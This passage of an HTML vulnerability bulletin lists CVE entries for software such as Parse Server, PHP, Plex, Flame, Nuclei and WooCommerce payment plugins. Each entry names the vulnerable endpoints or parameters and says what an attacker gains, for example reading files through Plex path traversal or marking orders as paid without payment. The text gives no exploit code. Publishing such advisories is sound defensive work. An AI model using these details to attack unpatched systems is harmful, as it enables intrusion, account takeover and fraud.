&lt;td&gt;The GeoDirectory - WP Business Directory Plugin and Classified Listings Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;business_hours&#039; parameter in all versions up to, and including, 2.8.183 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is possible because the AJAX save handler validates only post authorship and a nonce with no additional capability check, allowing any subscriber-level user who owns a listing to exploit this vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96766&quot; target=&quot;_blank&quot;&gt;CVE-2026-96766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;parse-community--parse-server&lt;/td&gt;
&lt;td&gt;Parse Server is an open-source backend server. In versions &amp;gt;= 9.0.0 and &amp;lt; 9.10.1-alpha.8, and in versions &amp;lt; 8.6.89, LiveQuery evaluates the protectedFields class-level permission against an incompletely resolved caller identity: the subscriber&#039;s roles are not resolved, and when a subscription does not supply its own session token the event payload is redacted against an anonymous identity even though the read was authorized against the connected user. As a result, field masks defined for a role, for authenticated users, or for a specific user are not applied, so an authenticated subscriber can receive field values that the REST API correctly withholds and can use a masked field to filter or watch a subscription. Only classes with LiveQuery enabled that define protectedFields under a role:, authenticated, or per-user group are affected; masks under the public (*) group are applied correctly. The issue is fixed in 9.10.1-alpha.8 and 8.6.89. As a workaround, additionally define the affected field masks under the public (*) group, or disable LiveQuery for classes whose class-level permissions rely on role-scoped, authenticated, or per-user protectedFields groups.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100632&quot; target=&quot;_blank&quot;&gt;CVE-2026-100632&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;parse-community--parse-server&lt;/td&gt;
&lt;td&gt;Parse Server is an open-source backend server. In versions &amp;gt;= 9.0.0 &amp;lt; 9.10.1-alpha.10 and &amp;gt;= 8.0.2 &amp;lt; 8.6.91, the code-based authentication adapters (GitHub, Google Play Games, Instagram, LINE, LinkedIn, Microsoft, QQ, Spotify, WeChat, Weibo) verify the client&#039;s authorization code with the external provider on signup and on provider linking, but not when authentication data is supplied together with a username and password on the login endpoint. As a result, a low-privileged authenticated user can attach an arbitrary, unverified provider identity to their own account without the provider ever being contacted, spoofing an external identity toward application logic that trusts the linked provider ID. An attacker can also pre-hijack accounts: by claiming the provider ID of a victim who has not yet linked that provider, the victim&#039;s later legitimate sign-in with that provider resolves to the attacker&#039;s account. Only deployments configuring one of the affected code-based auth adapters are impacted. Versions 9.10.1-alpha.10 and 8.6.91 fix the issue by running the adapter&#039;s credential verification on the login and challenge endpoints and rejecting a provider identity already linked to another user. As a workaround, disable the affected code-based auth adapters.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101042&quot; target=&quot;_blank&quot;&gt;CVE-2026-101042&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;patriksimek--vm2&lt;/td&gt;
&lt;td&gt;vm2 before 3.12.2 does not apply host-side Promise rejection handling in the sandbox-to-host construct trap. In BaseHandler, the apply trap calls markHostPromiseHandled() on the returned value, but the adjacent construct path returns the result of Reflect.construct without the same sanitization. If an embedder exposes a constructable host function whose constructor returns a native rejected Promise, an untrusted script executed via VM.run can invoke it with `new` and ignore the result; the rejected host Promise crosses the bridge unhandled and, under Node&#039;s strict unhandled-rejection policy, is promoted to an uncaught exception that terminates the host process.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100722&quot; target=&quot;_blank&quot;&gt;CVE-2026-100722&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pawelmalak--flame&lt;/td&gt;
&lt;td&gt;Flame through 2.4.0 contains an improper restriction of excessive authentication attempts vulnerability in the POST /api/auth login endpoint that allows unauthenticated attackers to brute-force the admin password. Attackers can submit unlimited password guesses without rate limiting, attempt counters, lockouts, or delays to gain full administrator access and modify application configuration.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100501&quot; target=&quot;_blank&quot;&gt;CVE-2026-100501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pawelmalak--flame&lt;/td&gt;
&lt;td&gt;Flame through 2.4.0 contains an information exposure vulnerability in the unauthenticated GET /api/config endpoint that returns the entire configuration object without field redaction. Attackers can retrieve the stored weather API key and internal operational settings by sending a single unauthenticated request to consume provider quota or access sensitive configuration data.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100418&quot; target=&quot;_blank&quot;&gt;CVE-2026-100418&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pawelmalak--flame&lt;/td&gt;
&lt;td&gt;Flame through 2.4.0 contains an insufficient session expiration vulnerability in the login endpoint that allows attackers with former admin access to obtain tokens with arbitrary lifespans by supplying unvalidated duration parameters. Attackers can mint near-permanent administrator tokens that survive password changes, retaining full control of the dashboard since tokens are verified only against a static JWT secret that is never rotated.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100502&quot; target=&quot;_blank&quot;&gt;CVE-2026-100502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;payloadcms--payload&lt;/td&gt;
&lt;td&gt;The @payloadcms/storage-vercel-blob storage adapter for Payload contains an improper access control vulnerability that allows authenticated users to bypass collection-level permissions by accessing the client-upload route directly. Attackers can upload files through the client-upload endpoint without possessing the required collection access permissions, circumventing the intended access control enforcement.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93363&quot; target=&quot;_blank&quot;&gt;CVE-2026-93363&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Payment Gateway for PayPal on WooCommerce--Payment Gateway for PayPal on WooCommerce&lt;/td&gt;
&lt;td&gt;The Payment Gateway for PayPal on WooCommerce WordPress plugin before 9.2.1 does not verify that an incoming payment notification was confirmed in the store&#039;s configured payment environment or paid to the store&#039;s own merchant account before marking an order complete, allowing unauthenticated users to mark their own orders as paid using a genuine transaction from a payment sandbox they control.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92400&quot; target=&quot;_blank&quot;&gt;CVE-2026-92400&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paymob for WooCommerce--Paymob for WooCommerce&lt;/td&gt;
&lt;td&gt;The Paymob for WooCommerce WordPress plugin before 4.1.14 does not verify the request signature on one branch of its payment webhook, allowing unauthenticated attackers to mark arbitrary WooCommerce orders as paid without any payment.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87978&quot; target=&quot;_blank&quot;&gt;CVE-2026-87978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PayPlus Tech Team--PayPlus Payment Gateway&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in PayPlus Payment Gateway &amp;lt;= 8.2.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93620&quot; target=&quot;_blank&quot;&gt;CVE-2026-93620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;penpot--penpot&lt;/td&gt;
&lt;td&gt;Penpot before 2.18.0 binds the MCP server plugin WebSocket bridge to all network interfaces without authentication in single-user mode. Unauthenticated attackers on adjacent networks can connect to the WebSocket port to impersonate the Penpot browser plugin, intercept task payloads, and return forged results to the MCP client.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100868&quot; target=&quot;_blank&quot;&gt;CVE-2026-100868&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHP Group--PHP&lt;/td&gt;
&lt;td&gt;The SOAP HTTP client guards its response buffer growth with a check that relies on signed integer overflow, which is undefined behaviour and is not guaranteed to trigger. When the check is optimised away, a malicious SOAP server can make the client allocate a buffer far smaller than the data it then writes into it, producing a heap buffer overflow.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-14181&quot; target=&quot;_blank&quot;&gt;CVE-2025-14181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHP Group--PHP&lt;/td&gt;
&lt;td&gt;php_openssl_matches_wildcard_name() in ext/openssl/xp_ssl.c underflows the length argument passed to memchr() when a TLS server certificate presents a wildcard name whose literal characters are together longer than the hostname being verified. A malicious server presenting such a certificate makes the PHP client read up to SIZE_MAX bytes past the end of a heap allocation. The path is reachable from any default client stream, because verify_peer_name is enabled by default.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91767&quot; target=&quot;_blank&quot;&gt;CVE-2026-91767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHP Group--PHP&lt;/td&gt;
&lt;td&gt;The IPv6 branch of the FastCGI client access check compares only the first 12 bytes of a 16-byte IPv6 address, so listen.allowed_clients matches on a /96 prefix instead of the exact address. An attacker who can source an address sharing the first 96 bits with an allowed one passes the check and reaches the FastCGI endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91768&quot; target=&quot;_blank&quot;&gt;CVE-2026-91768&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHP Group--PHP&lt;/td&gt;
&lt;td&gt;When the http:// stream wrapper follows a redirect it forwards the user-supplied Authorization, Cookie and Proxy-Authorization headers unchanged, even when the redirect target is a different host, a different port, or a downgrade from HTTPS to HTTP. A server that can steer a redirect therefore receives credentials that were only meant for the original origin. This is the same class of issue that libcurl fixed in 7.58.0 ( CVE-2018-1000007 https://github.com/advisories/GHSA-g7x2-hrfp-pv5f ).&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91766&quot; target=&quot;_blank&quot;&gt;CVE-2026-91766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHP Group--PHP&lt;/td&gt;
&lt;td&gt;The convert.base64-encode, convert.quoted-printable-encode and convert.quoted-printable-decode stream filters accept a line-break-chars option whose length is tracked separately from the string itself. The filter constructors duplicate the value with pestrdup(), which stops at the first NUL byte, while keeping the original length. When the filter later emits a line break it copies the recorded length out of the truncated allocation, reading past its end and placing adjacent heap bytes into the filter output.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92842&quot; target=&quot;_blank&quot;&gt;CVE-2026-92842&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHP Group--PHP&lt;/td&gt;
&lt;td&gt;When the HTTP stream wrapper follows a redirect and the response carries a Location header with an empty value, the redirect code reads one byte past the end of the heap buffer holding the location. The value of that out-of-bounds byte decides which redirect target is built, so a malicious server controls whether the client is sent to the host root or to the current directory.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;5.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93682&quot; target=&quot;_blank&quot;&gt;CVE-2026-93682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHP Group--PHP&lt;/td&gt;
&lt;td&gt;phar_tar_number() parses the octal size field of a TAR header into a uint32_t with no overflow check. The field is 11 octal digits wide and holds values up to 0x1FFFFFFFF, so a size above 0xFFFFFFFF silently wraps. The parser then skips the wrong number of data blocks and interprets attacker-controlled file content as the next TAR header, which lets a crafted archive inject entries that PharData reports and extracts as if they were genuine.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6103&quot; target=&quot;_blank&quot;&gt;CVE-2026-6103&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PHP Group--PHP&lt;/td&gt;
&lt;td&gt;PHP&#039;s OpenSSL stream peer verification checks the certificate&#039;s subjectAltName entries first and, whenever no entry matches, falls back to the Common Name. RFC 6125 requires the CN to be ignored once the certificate presents any service identity, so a certificate carrying a non-matching DNS SAN was still accepted when its CN matched the requested peer_name. A certificate trusted by the client for one name can therefore be used to impersonate another.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91769&quot; target=&quot;_blank&quot;&gt;CVE-2026-91769&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PixelYourSite--PixelYourSite Your smart PIXEL (TAG) Manager&lt;/td&gt;
&lt;td&gt;Subscriber Cross Site Scripting (XSS) in PixelYourSite - Your smart PIXEL (TAG) Manager &amp;lt;= 11.4.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95530&quot; target=&quot;_blank&quot;&gt;CVE-2026-95530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Plex--Media Server&lt;/td&gt;
&lt;td&gt;Plex Media Server before 1.43.3.10861 builds a file path from the url parameter without checking it for ../ sequences, allowing path traversal via &#039;/system/agents/media/get&#039;. A remote attacker with a valid session token could read any file that the target user can access. This access includes the PlexOnlineToken, which grants control of the Plex account and server. A LAN-adjacent attacker with a client-supplied X-Forwarded-For header could exploit the same issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96651&quot; target=&quot;_blank&quot;&gt;CVE-2026-96651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Plex--Media Server&lt;/td&gt;
&lt;td&gt;Plex Media Server before 1.43.3.10861 does not correctly neutralize URL values included in &#039;searchOne,&#039; allowing an attacker to call other plugins&#039; functions and supply their own parameters.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96654&quot; target=&quot;_blank&quot;&gt;CVE-2026-96654&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Plex--Media Server&lt;/td&gt;
&lt;td&gt;Plex Media Server before 1.43.3.10861 allows SSRF via &#039;/player/timeline&#039;. An attacker using any X-Plex-Token value can include a full URL in the &#039;protocol&#039; parameter and force the Plex server to POST to the attacker&#039;s chosen destination.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96652&quot; target=&quot;_blank&quot;&gt;CVE-2026-96652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Plex--Media Server&lt;/td&gt;
&lt;td&gt;Plex Media Server before 1.43.3.10861 allows an authenticated user to request arbitrary internal or external addresses via the &#039;/video/:/transcode/universal&#039; path parameter.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96655&quot; target=&quot;_blank&quot;&gt;CVE-2026-96655&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;plone--plone.app.dexterity&lt;/td&gt;
&lt;td&gt;plone.app.dexterity is a content-type system for the Plone content management system, and plone.app.contenttypes provides Plone&#039;s Dexterity-based content types. Plone.app.dexterity versions through 3.2.2, 4.0.0 through 4.1.2, and 5.0.0, and plone.app.contenttypes versions through 3.0.11, 4.0.0 through 4.0.9, and 5.0.0 are vulnerable to denial of service because an authenticated user can create content with excessively long titles, descriptions, or uploaded-file names, causing Plone to become unresponsive and potentially making the resulting content difficult to edit or delete. The vulnerability is patched in plone.app.dexterity versions 3.2.3, 4.1.3, and 5.0.1, and in plone.app.contenttypes versions 3.0.12, 4.0.10, and 5.0.1.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57576&quot; target=&quot;_blank&quot;&gt;CVE-2026-57576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Pollen Robotics--Reachy Mini&lt;/td&gt;
&lt;td&gt;The Reachy Mini Bluetooth service asks a connecting device for a PIN before it will accept commands. The check protects the session but not the caller, so an attacker in Bluetooth range can ride along on someone else&#039;s successful authentication. The authenticated state is kept in a single shared flag on the service instance rather than per device. BlueZ passes the calling device&#039;s identity to the characteristic write handler in the options argument, but WriteValue(self, value, options) in src/reachy_mini/daemon/app/services/bluetooth/bluetooth_service.py ignores options entirely. The handler therefore has no idea which device sent a given write, and it cannot tell the authenticated one from any other. Once any device completes the PIN exchange, the flag is set and every nearby device can send CMD_ commands until it resets. An attacker simply waits within radio range for a legitimate user to authenticate, then writes commands into the same window. No PIN is ever guessed or brute-forced. This is the second step of a three-step chain that JFrog documented against the robot. The first is the unrestricted file upload in the media sounds API, tracked as CVE-2026-55419, which places an attacker-controlled script on the filesystem. This issue then provides command access over Bluetooth. The third is the Bluetooth command handler path traversal, tracked as CVE-2026-62661, which runs that script as root.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96456&quot; target=&quot;_blank&quot;&gt;CVE-2026-96456&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;pr-gateway--Blog2Social: Social Media Auto Post &amp;amp; Scheduler&lt;/td&gt;
&lt;td&gt;The Blog2Social: Social Media Auto Post &amp;amp; Scheduler plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 9.1.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to view, modify, or delete other users&#039; Blog2Social records, including disclosing another user&#039;s network authentication IDs and scheduled post content, overwriting Open Graph and Twitter Card post metadata on posts they do not own, rebinding another user&#039;s social-network authorization, and mass-hiding all users&#039; scheduled posts sitewide. The plugin&#039;s b2s_security_nonce is emitted on the post-edit meta box, which Contributors can render, making the nonce available to any authenticated user at that role level or above.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92829&quot; target=&quot;_blank&quot;&gt;CVE-2026-92829&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;prasunsen--Hostel&lt;/td&gt;
&lt;td&gt;The Hostel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;custom_currency&#039; parameter and the &#039;locale_url&#039; setting in all versions up to, and including, 1.1.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1645&quot; target=&quot;_blank&quot;&gt;CVE-2026-1645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projectdiscovery--nuclei&lt;/td&gt;
&lt;td&gt;Nuclei is a vulnerability scanner built on a simple YAML-based DSL. From 3.0.0 until 3.10.0, the nuclei/mysql JavaScript library does not enforce the local-file sandbox when a JavaScript template supplies the allowAllFiles MySQL DSN option. An untrusted javascript: template scanning an attacker-controlled MySQL-compatible endpoint can cause the server to issue LOAD DATA LOCAL INFILE requests for arbitrary paths, after which the scanner&#039;s MySQL client reads the files and returns their contents to the server even though -allow-local-file-access is disabled. JavaScript templates can run unsigned and without the -code flag on affected versions, and the bypass affects CLI and SDK deployments that accept untrusted templates. This issue is fixed in version 3.10.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76803&quot; target=&quot;_blank&quot;&gt;CVE-2026-76803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projectdiscovery--nuclei&lt;/td&gt;
&lt;td&gt;Nuclei is a vulnerability scanner built on a simple YAML-based DSL. From 3.0.0 until 3.10.0, the workflow template loading path does not enforce the -file capability gate when resolving file: protocol templates referenced by a workflow. An untrusted unsigned workflow can therefore load a file-protocol template and read local files from the scanner host even when the operator has not enabled file templates. The issue affects CLI users running workflows with -w and SDK integrations that accept end-user workflows while relying on the default file-access restriction. This issue is fixed in version 3.10.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76804&quot; target=&quot;_blank&quot;&gt;CVE-2026-76804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projectdiscovery--nuclei&lt;/td&gt;
&lt;td&gt;Nuclei is a vulnerability scanner built on a simple YAML-based DSL. From 3.0.0 until 3.10.0, the DAST/fuzz payload path in pkg/fuzz/parts.go can evaluate substituted runtime data more than once, creating a second evaluation pass that allows response content captured by an internal: true extractor in one protocol step to be reinterpreted as template syntax in a later fuzz step. This vulnerability is an incomplete fix for CVE-2026-41645: the prior remediation made expressions.Evaluate() single-pass within one call but did not prevent DAST/fuzz callers from evaluating substituted output again. When -env-vars is enabled, a malicious scan target can return marker-shaped content that resolves against the template variable map and discloses scanner-host environment variables such as credentials, API keys, or tokens. The vulnerability requires a multi-step DAST or fuzz template, response data reused through an internal extractor, and explicit environment-variable expansion; users who do not enable -env-vars are not affected by the sensitive-information disclosure. This issue is fixed in version 3.10.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76805&quot; target=&quot;_blank&quot;&gt;CVE-2026-76805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;projectdiscovery--nuclei&lt;/td&gt;
&lt;td&gt;Nuclei is a vulnerability scanner built on a simple YAML-based DSL. From 3.0.0 until 3.10.0, the DAST template loading branch does not apply the unsigned code-template signature check before accepting a template that contains both a fuzzing: block and an unsigned code: block. When an operator enables -dast, an untrusted multiprotocol template can place an unsigned code request into the execution queue and run arbitrary shell commands even without -code or a valid cryptographic signature. The issue affects CLI DAST scans and SDK integrations that enable DAST while accepting attacker-supplied templates. This issue is fixed in version 3.10.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76802&quot; target=&quot;_blank&quot;&gt;CVE-2026-76802&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Proxmox--pmg-api&lt;/td&gt;
&lt;td&gt;In Proxmox pmg-api, an argument injection vulnerability exists in the package changelog retrieval functionality. This is caused by improper handling of user-supplied input passed to the underlying apt-get command when fetching package changelogs. It requires authentication but can be exploited in a CSRF-style attack.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94588&quot; target=&quot;_blank&quot;&gt;CVE-2026-94588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;python-social-auth--social-core&lt;/td&gt;
&lt;td&gt;Python Social Auth is a social authentication/registration mechanism. Prior to version 5.0.0, the SAML backend accepted SAML responses on the Assertion Consumer Service endpoint without verifying that they matched a previously issued `AuthnRequest`. Applications using SAML account association could allow an attacker with a valid account on a trusted IdP to link the attacker&#039;s SAML identity to a logged-in victim&#039;s local account. The attacker could then authenticate through SAML and gain access to the victim&#039;s account. The issue affects applications using the SAML backend together with authenticated account association. The issue has been fixed in version 5.0.0 by validating SAML responses against stored `AuthnRequest` IDs.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57175&quot; target=&quot;_blank&quot;&gt;CVE-2026-57175&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;python-social-auth--social-core&lt;/td&gt;
&lt;td&gt;Python Social Auth is a social authentication/registration mechanism. Prior to version 5.0.0, the Vend OAuth2 backend used only the numeric Vend user_id as the social-auth UID. When multiple Vend shops authenticate through the same application, users from different shops with the same internal Vend user ID could collide in the social-auth association table. A user from one shop could then be authenticated as the local account previously associated with the same numeric user ID from another shop. The issue affects applications using the Vend OAuth2 backend with more than one Vend shop. Version 5.0.0 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
